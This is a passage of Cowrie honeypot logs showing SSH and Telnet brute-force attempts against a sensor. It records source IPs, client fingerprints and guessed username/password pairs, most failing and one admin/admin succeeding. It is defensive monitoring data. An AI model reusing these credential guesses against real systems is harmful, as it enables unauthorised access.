03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:49:09.261110Z","src_ip":"152.244.206.148","session":"52ce621bb790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456qwe","message":"login attempt [test/123456qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:49:09.850667Z","src_ip":"152.244.206.148","session":"52ce621bb790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:49:10.992710Z","src_ip":"152.244.206.148","session":"52ce621bb790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":11724,"dst_ip":"159.203.135.109","dst_port":22,"session":"7335504009ca","protocol":"ssh","message":"New connection: 118.193.33.42:11724 (159.203.135.109:22) [session: 7335504009ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:49:21.522977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:49:21.527452Z","src_ip":"118.193.33.42","session":"7335504009ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:49:21.762978Z","src_ip":"118.193.33.42","session":"7335504009ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc12345678!","message":"login attempt [ubuntu/Abc12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:49:22.663209Z","src_ip":"118.193.33.42","session":"7335504009ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:49:23.890283Z","src_ip":"118.193.33.42","session":"7335504009ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":29550,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d2cc70165dd","protocol":"ssh","message":"New connection: 118.193.33.42:29550 (159.203.135.109:22) [session: 2d2cc70165dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:50:31.751047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:50:31.772340Z","src_ip":"118.193.33.42","session":"2d2cc70165dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:50:31.982227Z","src_ip":"118.193.33.42","session":"2d2cc70165dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin411","message":"login attempt [root/admin411] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:50:32.945830Z","src_ip":"118.193.33.42","session":"2d2cc70165dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:50:34.186819Z","src_ip":"118.193.33.42","session":"2d2cc70165dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":47376,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc2391205c60","protocol":"ssh","message":"New connection: 118.193.33.42:47376 (159.203.135.109:22) [session: bc2391205c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:51:38.293877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:51:38.315527Z","src_ip":"118.193.33.42","session":"bc2391205c60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:51:38.532636Z","src_ip":"118.193.33.42","session":"bc2391205c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2525","message":"login attempt [admin/2525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:51:39.423507Z","src_ip":"118.193.33.42","session":"bc2391205c60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:51:40.648086Z","src_ip":"118.193.33.42","session":"bc2391205c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.45","src_port":37482,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa3570264825","protocol":"telnet","message":"New connection: 176.65.139.45:37482 (159.203.135.109:23) [session: aa3570264825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:52:04.303107Z"}
{"eventid":"cowrie.session.closed","duration":30.28768014907837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:52:34.590682Z","src_ip":"176.65.139.45","session":"aa3570264825","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":48682,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ac374254099","protocol":"ssh","message":"New connection: 152.244.206.148:48682 (10.17.0.5:22) [session: 3ac374254099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:52:57.265694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:52:57.271301Z","src_ip":"152.244.206.148","session":"3ac374254099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:52:57.412287Z","src_ip":"152.244.206.148","session":"3ac374254099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"9981","message":"login attempt [ubuntu/9981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:52:58.003594Z","src_ip":"152.244.206.148","session":"3ac374254099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:52:59.154897Z","src_ip":"152.244.206.148","session":"3ac374254099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":62817,"dst_ip":"159.203.135.109","dst_port":22,"session":"14ebf43504d5","protocol":"ssh","message":"New connection: 211.178.247.182:62817 (159.203.135.109:22) [session: 14ebf43504d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:54:59.663522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:54:59.702160Z","src_ip":"211.178.247.182","session":"14ebf43504d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:54:59.880241Z","src_ip":"211.178.247.182","session":"14ebf43504d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abcd@1234","message":"login attempt [ubuntu/Abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:55:00.672347Z","src_ip":"211.178.247.182","session":"14ebf43504d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:55:01.858068Z","src_ip":"211.178.247.182","session":"14ebf43504d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":51178,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ee378e2fb6f","protocol":"ssh","message":"New connection: 190.242.109.42:51178 (159.203.135.109:22) [session: 5ee378e2fb6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:55:20.841724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:55:20.995525Z","src_ip":"190.242.109.42","session":"5ee378e2fb6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:55:21.081697Z","src_ip":"190.242.109.42","session":"5ee378e2fb6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ut99server","password":"ut99server","message":"login attempt [ut99server/ut99server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:55:21.518638Z","src_ip":"190.242.109.42","session":"5ee378e2fb6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:55:22.612185Z","src_ip":"190.242.109.42","session":"5ee378e2fb6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":34146,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0434251e8b6","protocol":"ssh","message":"New connection: 152.244.206.148:34146 (10.17.0.5:22) [session: f0434251e8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:56:40.565891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:56:40.570862Z","src_ip":"152.244.206.148","session":"f0434251e8b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:56:40.709920Z","src_ip":"152.244.206.148","session":"f0434251e8b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"#Admin123","message":"login attempt [root/#Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:56:41.298890Z","src_ip":"152.244.206.148","session":"f0434251e8b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:56:42.440454Z","src_ip":"152.244.206.148","session":"f0434251e8b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47546,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f5c23e10450","protocol":"ssh","message":"New connection: 87.251.64.176:47546 (10.17.0.5:22) [session: 2f5c23e10450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:56:59.517989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:56:59.522372Z","src_ip":"87.251.64.176","session":"2f5c23e10450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:56:59.624906Z","src_ip":"87.251.64.176","session":"2f5c23e10450","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:00.065670Z","src_ip":"87.251.64.176","session":"2f5c23e10450","protocol":"ssh"}
